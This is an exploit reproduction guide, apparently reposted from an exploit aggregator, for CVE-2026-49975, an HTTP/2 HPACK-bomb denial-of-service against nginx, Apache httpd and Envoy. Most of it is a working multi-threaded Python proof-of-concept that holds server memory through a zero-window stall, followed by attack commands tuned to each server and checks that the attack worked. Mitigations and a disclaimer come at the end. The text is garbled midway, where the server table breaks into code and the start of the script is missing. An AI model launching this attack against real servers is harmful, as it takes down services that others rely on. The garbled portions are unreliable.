Share
## https://sploitus.com/exploit?id=EDEE9204-2DB4-5931-983F-6C7DB7FD4FB7
# CVE-2026-49975 (HTTP/2 Bomb) Complete Reproduction Guide
# Based on QiAnXin CERT Advisory + Calif Original Research
# ================================================================
## I. Vulnerability Overview
CVE-2026-49975 (QVD-2026-30962) is an HTTP/2 protocol-layer denial-of-service vulnerability discovered by security researcher Quang Luong (Calif). QiAnXin Threat Intelligence Center researchers have successfully reproduced the single-connection HTTP/2 Bomb DoS attack against Nginx.
- CVSS 3.1: 9.8 (Critical)
- Impact Scale: Hundreds of thousands of websites
- PoC/EXP Status: Publicly available
- Exploitation Condition: No authentication required, single connection sufficient
## II. Attack Principle (Two-Stage Combination)
### Stage 1: HPACK Indexed Reference Bomb
HPACK (RFC 7541) uses a dynamic table to store previously sent headers. The sender only needs to send a **1-byte index number**, and the receiver retrieves the full header from the dynamic table and allocates memory for it.
**Key Insight** — The essence of this vulnerability:
- Traditional HPACK bomb: Stuff **large values** into the dynamic table and repeatedly reference them → Blocked by "maximum decoded size" limits
- **This vulnerability variant**: Stuff **almost empty** headers into the dynamic table, then repeatedly reference them
- Each reference triggers **per-entry bookkeeping memory allocation** (~70-5700 bytes)
- "Maximum decoded size" limit **does NOT trigger**, because there's almost nothing to decode
### Stage 2: HTTP/2 Flow-Control Window Stall
The attacker advertises a zero-byte receive window (`SETTINGS_INITIAL_WINDOW_SIZE=0`), preventing the server from sending responses or releasing memory. Then periodically sends **1-byte `WINDOW_UPDATE` frames** to reset the server's send timeout timer, pinning the memory allocations indefinitely.
## III. Affected Servers
| Server | Amplification | Demo Effect | Fix Status |
|--------|--------------|-------------|------------|
| Envoy 1.37.2 | ~5,700:1 | 32GB in ~10s | No patch at disclosure |
| Apache httpd 2.4.67 | ~4,000:1 | 32GB in ~18s | Fixed in mod_http2 v2.0.41 |
| nginx I', length)[1:] + struct.pack('>BBI', frame_type, flags, stream_id & 0x7FFFFFFF)
return header + payload
def encode_settings(settings):
"""Encode SETTINGS frame payload"""
payload = b''
for identifier, value in settings:
payload += struct.pack('>HI', identifier, value)
return payload
def encode_window_update(stream_id, increment):
"""Encode WINDOW_UPDATE frame"""
payload = struct.pack('>I', increment & 0x7FFFFFFF)
return encode_frame(FRAME_WINDOW_UPDATE, 0x0, stream_id, payload)
def make_hpack_seed():
"""Construct HPACK dynamic table seed - insert almost-empty header"""
name = b'x-bomb'
value = b'' # Empty value! Decoded size limit won't trigger
block = bytes([0x40]) # Incremental indexing flag
block += bytes([len(name)]) + name
block += bytes([len(value)]) + value
return block
def make_hpack_bomb(references_count):
"""Construct HPACK bomb: seed + N 1-byte index references"""
seed = make_hpack_seed()
# Dynamic table index 62 -> 0xbe (0x80 | 62)
refs = bytes([0xbe] * references_count)
return seed + refs
def make_headers_frame(stream_id, hpack_block):
flags = 0x4 # END_HEADERS
return encode_frame(FRAME_HEADERS, flags, stream_id, hpack_block)
def attack_connection(target, port, streams, headers_per_stream, hold_time, use_ssl=True):
try:
sock = socket.create_connection((target, port), timeout=30)
if use_ssl:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.set_alpn_protocols(['h2'])
sock = context.wrap_socket(sock, server_hostname=target)
negotiated = sock.selected_alpn_protocol()
if negotiated != 'h2':
print(f"[!] ALPN negotiation failed: {negotiated}")
return
print(f"[+] ALPN negotiation successful: {negotiated}")
# Send HTTP/2 connection preface
sock.sendall(HTTP2_PREFACE)
# ===== KEY: Send SETTINGS [INITIAL_WINDOW_SIZE=0] to set zero window =====
settings = [(SETTINGS_INITIAL_WINDOW_SIZE, 0)]
settings_frame = encode_frame(FRAME_SETTINGS, 0x0, 0, encode_settings(settings))
sock.sendall(settings_frame)
time.sleep(0.5)
# Send SETTINGS ACK
ack_frame = encode_frame(FRAME_SETTINGS, 0x1, 0, b'')
sock.sendall(ack_frame)
print(f"[+] Connection established, sending bomb payload...")
# Construct HPACK bomb
hpack_block = make_hpack_bomb(headers_per_stream)
# Send HEADERS frames on multiple streams
for i in range(streams):
stream_id = (i + 1) * 2 - 1
headers_frame = make_headers_frame(stream_id, hpack_block)
sock.sendall(headers_frame)
print(f"[+] Sent bomb payload on {streams} streams")
# Keep connection alive, periodically send WINDOW_UPDATE to prevent timeout
start_time = time.time()
update_count = 0
while time.time() - start_time < hold_time:
time.sleep(1)
for i in range(min(streams, 10)):
stream_id = (i + 1) * 2 - 1
wu_frame = encode_window_update(stream_id, 1)
try:
sock.sendall(wu_frame)
update_count += 1
except:
break
if update_count % 10 == 0:
elapsed = time.time() - start_time
print(f"[*] Held for {elapsed:.1f}s, WINDOW_UPDATE sent: {update_count}")
print(f"[+] Attack completed, hold time: {hold_time}s")
except Exception as e:
print(f"[!] Connection error: {e}")
finally:
try: sock.close()
except: pass
def main():
parser = argparse.ArgumentParser(description='CVE-2026-49975 HTTP/2 Bomb PoC')
parser.add_argument('target', help='Target host')
parser.add_argument('port', type=int, help='Target port')
parser.add_argument('--threads', type=int, default=1, help='Parallel connections')
parser.add_argument('--streams', type=int, default=10, help='Streams per connection')
parser.add_argument('--headers', type=int, default=5000, help='HPAC index references per stream')
parser.add_argument('--hold', type=int, default=30, help='Connection hold time (seconds)')
parser.add_argument('--no-ssl', action='store_true', help='Disable TLS (h2c)')
args = parser.parse_args()
print("=" * 60)
print("CVE-2026-49975 HTTP/2 Bomb PoC")
print("For authorized security testing only!")
print("=" * 60)
amplification = 70 # nginx bookkeeping
total_streams = args.threads * args.streams
estimated_ram_mb = total_streams * args.headers * amplification / (1024 * 1024)
print(f"[*] Estimated server memory consumption: ~{estimated_ram_mb:.0f} MB")
print()
threads = []
for i in range(args.threads):
t = threading.Thread(
target=attack_connection,
args=(args.target, args.port, args.streams, args.headers, args.hold, not args.no_ssl)
)
t.start()
threads.append(t)
time.sleep(0.5)
for t in threads:
t.join()
print("[+] All attack threads completed")
if __name__ == '__main__':
main()
## VI. Usage
### Basic Test (Single Connection)
```bash
python3 exploit.py target.com 443
```
### nginx-Specific Attack (Recommended)
```bash
python3 exploit.py target.com 443 \
--threads 50 \
--streams 30 \
--headers 16374 \
--hold 60
```
- `--headers 16374`: Stay within default `http2_max_header_size 16k`
- Estimated memory consumption: 50 x 30 x 16374 x 70 / 1024^2 ≈ **1,647 MB**
### Apache/Envoy Attack (High Amplification)
```bash
python3 exploit.py target.com 443 \
--threads 20 \
--streams 30 \
--headers 5000 \
--hold 60
```
## VII. Verify Attack Effectiveness
```bash
# Monitor nginx worker memory
for p in $(pgrep -f "nginx: worker"); do
grep VmRSS /proc/$p/status;
done
# Or use docker stats
docker stats --no-stream nginx-h2-vuln
```
**Observation Indicators**:
- Before attack: nginx worker RSS ~3-6 MB
- After attack: RSS spikes to hundreds of MB or even GB
- New connections cannot be established or respond extremely slowly
## VIII. Mitigation
1. **nginx**: Upgrade to 1.29.8+, introduces `max_headers` directive (default 1000)
2. **Apache httpd**: Upgrade to mod_http2 v2.0.41+, Cookie headers counted in `LimitRequestFields`
3. **Temporary mitigation**: Disable HTTP/2 and fall back to HTTP/1.1, or deploy reverse proxy/CDN with strict header count limits
## IX. Disclaimer
This reproduction guide is for authorized security testing, vulnerability research, and educational purposes only. Unauthorized attacks on any system are illegal.
## References
1. QiAnXin CERT: HTTP/2 Bomb Remote Denial of Service Vulnerability (CVE-2026-49975) Security Risk Advisory
2. Calif Blog: Codex Discovered a Hidden HTTP/2 Bomb
3. GitHub: califio/publications/tree/main/MADBugs/http2-bomb
4. RFC 7541: HPACK
5. RFC 9113: HTTP/2
Chinese VER.
## CVE-2026-49975 复现方案
详细复现步骤请查看:[CVE-2026-49975 复现方案](./CVE-2026-49975_复现方案.md)